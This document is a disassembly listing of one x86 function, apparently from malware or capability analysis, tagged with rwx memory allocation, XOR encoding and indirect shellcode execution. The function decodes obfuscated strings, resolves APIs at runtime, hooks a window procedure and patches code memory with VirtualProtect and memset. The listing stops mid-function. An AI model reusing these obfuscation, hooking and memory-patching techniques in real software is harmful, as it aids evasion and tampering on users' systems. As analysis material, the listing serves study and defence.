Function at 0x1006f810
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081ce7
mov eax, dword fs:[0]
push eax
sub esp, 0x12c
mov eax, dword [0x10098010]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, 8
mov dword [ebp - 0x24], 0x424f782e
xor eax, eax
mov dword [ebp - 0x28], edi
mov word [ebp - 0x1b], ax
mov byte [ebp - 0x19], al
lea eax, [edi + 1]
mov dword [ebp - 0x20], 0x1e1e4b58
mov byte [ebp - 0x1c], 0x1f
call fcn.1007cdb0
mov esi, esp
lea eax, [ebp - 0x23]
xor ecx, ecx
sub eax, esi
sub edi, ecx
lea edx, [ecx + esi]
mov cl, byte [ebp - 0x24]
mov esi, eax
nop dword [eax]
mov al, byte [edx + esi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub edi, 1
jne 0x1006f880
mov esi, esp
mov edi, 8
push 0
push esi
mov byte [esi + edi], 0
call dword [sym.imp.USER32.dll_FindWindowA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x100e8904], eax
test eax, eax
jne 0x1006f8cc
push 0xc8
call edi
push 0
push esi
call dword [sym.imp.USER32.dll_FindWindowA]
mov dword [0x100e8904], eax
test eax, eax
je 0x1006f8b3
push 0x1006d2b0
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
movaps xmm0, xmmword [0x1008ff50]
mov ecx, 0x11
mov dword [0x100e8878], eax
mov dword [ebp - 0x30], ecx
movups xmmword [ebp - 0x2c], xmm0
lea eax, [ecx + 1]
mov dword [ebp - 0x1c], 0x5050
call fcn.1007cdb0
mov esi, esp
lea eax, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub eax, esi
mov edi, 0x11
sub edi, ecx
mov dword [ebp - 0x18], eax
lea edx, [ecx + esi]
mov cl, byte [ebp - 0x2c]
mov esi, eax
nop
mov al, byte [edx + esi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub edi, 1
jne 0x1006f920
mov esi, dword [ebp - 0x14]
mov eax, 0x11
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push esi
mov byte [esi + eax], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
jne 0x1006f962
nop dword [eax]
push 0xc8
call edi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
je 0x1006f950
call fcn.10070c50
mov edi, fcn.10070c50
mov al, byte [edi]
cmp al, 0xe9
jne 0x1006f97e
mov edi, fcn.10070c50
mov eax, edi
add edi, 5
jmp 0x1006f98c
cmp al, 0xeb
jne 0x1006f98f
mov edi, fcn.10070c50
mov eax, edi
add edi, 2
add edi, dword [eax + 1]
movaps xmm0, xmmword [0x1008e450]
mov eax, 0x10
mov dword [ebp - 0x2c], 0xe
movups xmmword [ebp - 0x28], xmm0
call fcn.1007cd80
mov eax, esp
lea esi, [ebp - 0x27]
mov dword [ebp - 0x18], eax
mov ecx, eax
sub esi, eax
mov edx, 0xe
nop dword [eax]
mov al, byte [esi + ecx]
xor al, 0x1a
mov byte [ecx], al
inc ecx
sub edx, 1
jne 0x1006f9c0
mov edx, dword [ebp - 0x18]
push ecx
mov ecx, edi
mov byte [edx + 0xe], 0
call fcn.1006a5c0
add esp, 4
mov esi, eax
lea eax, [ebp - 0x14]
sub esi, edi
add esi, 6
push eax
push 0x40
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push esi
push 0
push edi
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0x14]
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, 0xc
mov dword [ebp - 0x28], 0xa
mov dword [ebp - 0x24], 0x353c3752
mov dword [ebp - 0x20], 0x7c373c3b
mov dword [ebp - 0x1c], 0x3e3e36
call fcn.1007cd80
mov edi, esp
lea esi, [ebp - 0x23]
mov ecx, edi
sub esi, edi
mov edx, 0xa
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x52
mov byte [ecx - 1], al
sub edx, 1
jne 0x1006fa43
push edi
lea ecx, [ebp - 0x108]
mov byte [edi + 0xa], dl
call fcn.1000f4a0
lea ecx, [ebp - 0x108]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x108]
mov dword [ebp - 0xec], eax
call fcn.1000c940
mov eax, 0xc
mov dword [ebp - 0x28], 0xa
mov dword [ebp - 0x24], 0x70757a19
mov dword [ebp - 0x20], 0x376d777c
mov dword [ebp - 0x1c], 0x75757d
call fcn.1007cd80
mov edi, esp
lea esi, [ebp - 0x23]
mov ecx, edi
sub esi, edi
mov edx, 0xa
nop dword [eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x19
mov byte [ecx - 1], al
sub edx, 1
jne 0x1006fac0
push edi
lea ecx, [ebp - 0xc0]
mov byte [edi + 0xa], dl
call fcn.1000f4a0
lea ecx, [ebp - 0xc0]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xc0]
mov dword [ebp - 0x14], eax
call fcn.1000c940
movaps xmm0, xmmword [0x10090510]
mov eax, 0x14
mov dword [ebp - 0x30], 0x12
mov byte [ebp - 0x2c], 0xa
movups xmmword [ebp - 0x2b], xmm0
mov word [ebp - 0x1b], 0x6666
mov byte [ebp - 0x19], 0
call fcn.1007cdb0
mov edi, esp
lea edx, [ebp - 0x1a]
xor eax, eax
lea ecx, [edi + 0x11]
cmp edi, edx
ja 0x1006fb3e
lea edx, [ebp - 0x2b]
cmp ecx, edx
jae 0x1006fb55
movaps xmm0, xmmword [0x10090510]
mov eax, 0x10
pxor xmm0, xmmword [0x1008ea40]
movups xmmword [edi], xmm0
lea esi, [ebp - 0x2b]
mov edx, 0x12
sub esi, edi
lea ecx, [eax + edi]
sub edx, eax
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0xa
mov byte [ecx - 1], al
sub edx, 1
jne 0x1006fb64
push edi
lea ecx, [ebp - 0x6c]
mov byte [edi + 0x12], dl
call fcn.1000f4a0
lea ecx, [ebp - 0x6c]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x6c]
mov dword [ebp - 0xe8], eax
call fcn.1000c940
movaps xmm0, xmmword [str.L:_8___.b_]
mov edi, 0xb
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0xe4], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xb
sub esi, ecx
mov cl, byte [ebp - 0x2c]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x1006fbd4
mov eax, dword [ebp - 0xe4]
lea ecx, [ebp - 0x4c]
mov edi, 0xb
push eax
mov byte [eax + edi], 0
call fcn.1000f4a0
lea ecx, [ebp - 0x4c]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x4c]
mov dword [ebp - 0xe0], eax
call fcn.1000c940
movaps xmm0, xmmword [str.Y__1_0:w55]
mov edi, 0xc
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x18], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xc
sub esi, ecx
mov cl, byte [ebp - 0x2c]
nop dword [eax]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x1006fc50
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x88]
mov edi, 0xc
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
lea ecx, [ebp - 0x88]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x88]
mov dword [ebp - 0xd4], eax
call fcn.1000c940
movaps xmm0, xmmword [0x1008f690]
lea eax, [edi + 8]
mov dword [ebp - 0x30], 0x12
mov byte [ebp - 0x2c], 0x53
movups xmmword [ebp - 0x2b], xmm0
mov word [ebp - 0x1b], 0x3f3f
mov byte [ebp - 0x19], 0
call fcn.1007cdb0
mov edi, esp
lea edx, [ebp - 0x1a]
xor eax, eax
lea ecx, [edi + 0x11]
cmp edi, edx
ja 0x1006fcd8
lea edx, [ebp - 0x2b]
cmp ecx, edx
jae 0x1006fcef
movaps xmm0, xmmword [0x1008f690]
mov eax, 0x10
pxor xmm0, xmmword [0x1008fe80]
movups xmmword [edi], xmm0
lea esi, [ebp - 0x2b]
mov edx, 0x12
sub esi, edi
lea ecx, [eax + edi]
sub edx, eax
nop
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x53
mov byte [ecx - 1], al
sub edx, 1
jne 0x1006fd00
push edi
lea ecx, [ebp - 0x120]
mov byte [edi + 0x12], dl
call fcn.1000f4a0
lea ecx, [ebp - 0x120]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x120]
mov dword [ebp - 0xd0], eax
call fcn.1000c940
mov edi, 9
mov dword [ebp - 0x24], 0x120375
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x20], 0x115b471c
mov dword [ebp - 0x1c], 0x1919
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x23]
xor ecx, ecx
mov dword [ebp - 0x18], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 9
sub esi, ecx
mov cl, byte [ebp - 0x24]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x1006fd80
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0xa4]
mov edi, 9
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
lea ecx, [ebp - 0xa4]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0xa4]
mov dword [ebp - 0xd8], eax
call fcn.1000c940
movaps xmm0, xmmword [0x1008dcd0]
mov edi, 0xc
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x18], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xc
sub esi, ecx
mov cl, byte [ebp - 0x2c]
nop
mov al, byte [edi + edx]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x1006fe00
mov esi, dword [ebp - 0x18]
lea ecx, [ebp - 0x138]
mov edi, 0xc
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
lea ecx, [ebp - 0x138]
call fcn.10010de0
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x138]
mov dword [ebp - 0xf0], eax
call fcn.1000c940
mov eax, edi
mov dword [ebp - 0x28], 0xa
mov dword [ebp - 0x24], 0x416e7b2d
mov dword [ebp - 0x20], 0x59434844
mov dword [ebp - 0x1c], 0x151c1d
call fcn.1007cd80
mov edi, esp
lea esi, [ebp - 0x23]
mov ecx, edi
sub esi, edi
mov edx, 0xa
nop dword [eax]
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x2d
mov byte [ecx - 1], al
sub edx, 1
jne 0x1006fe80
sub esp, 0x18
mov byte [edi + 0xa], dl
mov ecx, esp
push edi
call fcn.1000f4a0
mov ecx, dword [ebp - 0x14]
call fcn.10074d80
movaps xmm0, xmmword [0x1008f4e0]
mov edi, 0x14
mov dword [0x100e897c], eax
add esp, 0x18
xor eax, eax
mov dword [ebp - 0x34], edi
mov word [ebp - 0x1b], ax
mov byte [ebp - 0x19], al
lea eax, [edi + 1]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x6d6d292e
mov byte [ebp - 0x1c], 0x6e
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2f]
xor ecx, ecx
mov dword [ebp - 0x18], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x14
sub esi, ecx
mov cl, byte [ebp - 0x30]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x1006fef6
mov eax, dword [ebp - 0x18]
sub esp, 0x18
mov edi, 0x14
mov ecx, esp
push eax
mov byte [eax + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0x14]
call fcn.10074d80
movaps xmm0, xmmword [0x1008fda0]
mov edi, 0x10
mov dword [0x100e8960], eax
add esp, 0x18
mov eax, dword [0x100e897c]
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
mov byte [ebp - 0x1c], 0x55
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
mov eax, dword [eax + 5]
mov eax, dword [eax]
mov dword [0x100e89a4], eax
xor eax, eax
mov word [ebp - 0x1b], ax
mov byte [ebp - 0x19], al
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor edx, edx
mov dword [ebp - 0x18], esi
sub edi, esi
lea ecx, [edx + esi]
mov esi, 0x10
sub esi, edx
mov dl, byte [ebp - 0x2c]
mov al, byte [ecx + edi]
lea ecx, [ecx + 1]
xor al, dl
mov byte [ecx - 1], al
sub esi, 1
jne 0x1006ff82
mov esi, dword [ebp - 0x18]
sub esp, 0x18
mov edi, 0x10
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [0x1008e750]
mov edi, 0x14
mov dword [0x100e8994], eax
add esp, 0x18
xor eax, eax
mov dword [ebp - 0x34], edi
mov word [ebp - 0x1b], ax
mov byte [ebp - 0x19], al
lea eax, [edi + 1]
movups xmmword [ebp - 0x30], xmm0
mov dword [ebp - 0x20], 0x58580607
mov byte [ebp - 0x1c], 0x59
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2f]
xor ecx, ecx
mov dword [ebp - 0x18], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x14
sub esi, ecx
mov cl, byte [ebp - 0x30]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070004
mov esi, dword [ebp - 0x18]
sub esp, 0x18
mov edi, 0x14
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0x14]
call fcn.10074d80
movaps xmm0, xmmword [0x1008fae0]
mov edi, 0xf
mov dword [0x100e8980], eax
add esp, 0x18
mov eax, dword [0x100e892c]
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [0x100e8984], eax
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x18], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xf
sub esi, ecx
mov cl, byte [ebp - 0x2c]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070084
mov eax, dword [ebp - 0x18]
sub esp, 0x18
mov edi, 0xf
mov ecx, esp
push eax
mov byte [eax + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0x14]
call fcn.10074d80
movaps xmm0, xmmword [0x10090010]
mov edi, 0x13
mov dword [0x100e8990], eax
add esp, 0x18
mov eax, dword [0x100e897c]
mov dword [ebp - 0xc4], edi
movups xmmword [ebp - 0xc0], xmm0
mov dword [ebp - 0xb0], 0x1050541
mov eax, dword [eax]
mov dword [ebp - 0xac], esi
mov eax, dword [eax]
mov eax, dword [eax + 0x1f]
mov eax, dword [eax]
mov dword [0x100e8968], eax
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0xbf]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x13
sub esi, ecx
mov cl, byte [ebp - 0xc0]
nop
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070120
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0x13
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [0x1008f130]
mov edi, 0xf
add esp, 0x18
mov dword [0x100e896c], eax
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
lea eax, [edi + 1]
mov dword [ebp - 0x1c], 0
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xf
sub esi, ecx
mov cl, byte [ebp - 0x2c]
mov al, byte [edi + edx]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070195
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0xf
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [str.gKOXCKFySYOG]
add esp, 0x18
mov dword [0x100e89bc], eax
lea eax, [edi + 5]
mov dword [ebp - 0x30], 0x12
mov byte [ebp - 0x2c], 0x2a
movups xmmword [ebp - 0x2b], xmm0
mov word [ebp - 0x1b], 0x1a12
mov byte [ebp - 0x19], 0
call fcn.1007cdb0
mov esi, esp
lea edx, [ebp - 0x1a]
xor eax, eax
lea ecx, [esi + 0x11]
cmp esi, edx
ja 0x1007020c
lea edx, [ebp - 0x2b]
cmp ecx, edx
jae 0x10070223
movaps xmm0, xmmword [str.gKOXCKFySYOG]
mov eax, 0x10
pxor xmm0, xmmword [0x1008f290]
movups xmmword [esi], xmm0
lea edx, [ebp - 0x2b]
mov edi, 0x12
sub edx, esi
lea ecx, [eax + esi]
sub edi, eax
mov al, byte [edx + ecx]
lea ecx, [ecx + 1]
xor al, 0x2a
mov byte [ecx - 1], al
sub edi, 1
jne 0x10070232
sub esp, 0x18
mov byte [esi + 0x12], 0
mov ecx, esp
push esi
call fcn.1000f4a0
mov ecx, dword [ebp - 0xe8]
call fcn.10074d80
movaps xmm0, xmmword [0x1008ec80]
mov edi, 0x14
mov dword [0x100e89b8], eax
add esp, 0x18
xor eax, eax
mov dword [ebp - 0x70], edi
mov word [ebp - 0x57], ax
mov byte [ebp - 0x55], al
lea eax, [edi + 1]
movups xmmword [ebp - 0x6c], xmm0
mov dword [ebp - 0x5c], 0x48490e1c
mov byte [ebp - 0x58], 0x4d
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x6b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x14
sub esi, ecx
mov cl, byte [ebp - 0x6c]
nop dword [eax]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x100702b0
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0x14
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [0x1008e570]
add esp, 0x18
mov dword [0x100e8950], eax
lea eax, [edi - 4]
mov dword [ebp - 0x2c], 0xe
movups xmmword [ebp - 0x28], xmm0
call fcn.1007cd80
mov edi, esp
lea esi, [ebp - 0x27]
mov ecx, edi
sub esi, edi
mov edx, 0xe
mov al, byte [esi + ecx]
lea ecx, [ecx + 1]
xor al, 0x78
mov byte [ecx - 1], al
sub edx, 1
jne 0x10070312
sub esp, 0x18
mov byte [edi + 0xe], dl
mov ecx, esp
push edi
call fcn.1000f4a0
mov ecx, dword [ebp - 0xe0]
call fcn.10074d80
movaps xmm0, xmmword [0x100901f0]
mov edi, 0x14
mov dword [0x100e898c], eax
add esp, 0x18
mov eax, dword [0x100e891c]
mov dword [ebp - 0x50], edi
movups xmmword [ebp - 0x4c], xmm0
mov dword [ebp - 0x3c], 0x16167463
mov eax, dword [eax]
mov byte [ebp - 0x38], 0x14
mov eax, dword [eax]
mov dword [0x100e89a8], eax
mov eax, dword [0x100e8918]
mov eax, dword [eax]
mov dword [0x100e8958], eax
xor eax, eax
mov word [ebp - 0x37], ax
mov byte [ebp - 0x35], al
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x4b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x14
sub esi, ecx
mov cl, byte [ebp - 0x4c]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x100703a5
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0x14
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
add esp, 0x18
mov dword [0x100e8998], eax
lea ecx, [ebp - 0xc5]
mov byte [ebp - 0xc5], 0
call fcn.100731d0
movaps xmm0, xmmword [0x1008ff00]
mov edi, 0x17
mov dword [ebp - 0x54], edi
movups xmmword [ebp - 0x50], xmm0
mov eax, dword [eax + 1]
mov dword [0x100e8988], eax
lea eax, [edi + 1]
mov dword [ebp - 0x40], 0x435c4163
mov dword [ebp - 0x3c], 0x2030340
mov dword [ebp - 0x38], 0
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x4f]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x17
sub esi, ecx
mov cl, byte [ebp - 0x50]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070442
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0x17
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xd4]
call fcn.10074d80
movaps xmm0, xmmword [0x1008f700]
mov edi, 0x14
mov dword [0x100e89a0], eax
add esp, 0x18
xor eax, eax
mov dword [ebp - 0x8c], edi
mov word [ebp - 0x73], ax
mov byte [ebp - 0x71], al
lea eax, [edi + 1]
movups xmmword [ebp - 0x88], xmm0
mov dword [ebp - 0x78], 0x6c6c2832
mov byte [ebp - 0x74], 0x68
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x87]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x14
sub esi, ecx
mov cl, byte [ebp - 0x88]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x100704d0
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0x14
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [0x100909a0]
mov edi, 0xf
mov dword [0x100e8974], eax
add esp, 0x18
mov eax, dword [0x100e8994]
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
mov dword [ebp - 0x1c], 0
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov eax, dword [eax]
mov dword [0x100e8978], eax
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xf
sub esi, ecx
mov cl, byte [ebp - 0x2c]
nop dword [eax]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070560
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0xf
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xd0]
call fcn.10074d80
mov edi, 9
mov dword [0x100e895c], eax
add esp, 0x18
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], 0x333f2256
mov dword [ebp - 0x20], 0x32786624
lea eax, [edi + 1]
mov dword [ebp - 0x1c], 0x3a3a
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x23]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 9
sub esi, ecx
mov cl, byte [ebp - 0x24]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x100705d8
mov esi, dword [ebp - 0x14]
mov edi, 9
movaps xmm0, xmmword [str.1VnATp__R]
mov eax, 0xb
mov dword [ebp - 0x30], eax
inc eax
movups xmmword [ebp - 0x2c], xmm0
mov byte [esi + edi], 0
call fcn.1007cdb0
mov edi, esp
lea eax, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x18], edi
sub eax, edi
mov esi, 0xb
sub esi, ecx
mov dword [ebp - 0xd0], eax
lea edx, [ecx + edi]
mov cl, byte [ebp - 0x2c]
mov edi, eax
nop
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070630
mov edi, dword [ebp - 0x18]
mov eax, 0xb
mov esi, dword [ebp - 0x14]
push edi
push esi
mov byte [edi + eax], 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
movaps xmm0, xmmword [0x10090890]
mov edi, 0x10
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
mov eax, dword [eax]
mov dword [0x100e89b4], eax
xor eax, eax
mov word [ebp - 0x1b], ax
mov byte [ebp - 0x19], al
lea eax, [edi + 1]
mov byte [ebp - 0x1c], 0x7d
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0x10
sub esi, ecx
mov cl, byte [ebp - 0x2c]
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x100706a6
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0x10
mov ecx, esp
push esi
mov byte [edi + esi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [str.2dugmbSW]
mov edi, 0xd
mov dword [0x100e8970], eax
add esp, 0x18
mov eax, dword [0x100e8930]
mov dword [ebp - 0x30], edi
movups xmmword [ebp - 0x2c], xmm0
mov eax, dword [eax]
mov dword [0x100e89b0], eax
lea eax, [edi + 1]
call fcn.1007cdb0
mov esi, esp
lea edi, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], esi
sub edi, esi
lea edx, [ecx + esi]
mov esi, 0xd
sub esi, ecx
mov cl, byte [ebp - 0x2c]
mov al, byte [edi + edx]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x10070720
mov esi, dword [ebp - 0x14]
sub esp, 0x18
mov edi, 0xd
mov ecx, esp
push esi
mov byte [esi + edi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xd8]
call fcn.10074d80
movaps xmm0, xmmword [0x1008ff90]
mov esi, 0x15
add esp, 0x18
mov dword [0x100e8954], eax
mov dword [ebp - 0xa8], esi
movups xmmword [ebp - 0xa4], xmm0
lea eax, [esi + 1]
mov dword [ebp - 0x94], 0x1455f54
mov dword [ebp - 0x90], 0x201
call fcn.1007cdb0
mov edi, esp
lea eax, [ebp - 0xa3]
xor ecx, ecx
mov dword [ebp - 0x14], edi
sub eax, edi
sub esi, ecx
mov dword [ebp - 0xd8], eax
lea edx, [ecx + edi]
mov cl, byte [ebp - 0xa4]
mov edi, eax
mov al, byte [edx + edi]
lea edx, [edx + 1]
xor al, cl
mov byte [edx - 1], al
sub esi, 1
jne 0x100707b1
mov edi, dword [ebp - 0x14]
sub esp, 0x18
mov esi, 0x15
mov ecx, esp
push edi
mov byte [edi + esi], 0
call fcn.1000f4a0
mov ecx, dword [ebp - 0xec]
call fcn.10074d80
movaps xmm0, xmmword [str._vYjeodfMgdj]
mov esi, 0xb
add esp, 0x18
mov dword [0x100e899c], eax
mov dword [ebp - 0x30], esi
movups xmmword [ebp - 0x2c], xmm0
lea eax, [esi + 1]
call fcn.1007cdb0
mov edi, esp
lea eax, [ebp - 0x2b]
xor ecx, ecx
mov dword [ebp - 0x14], edi
sub eax, edi
sub esi, ecx
mov dword [ebp - 0xd8], eax
lea edx, [ecx + edi]
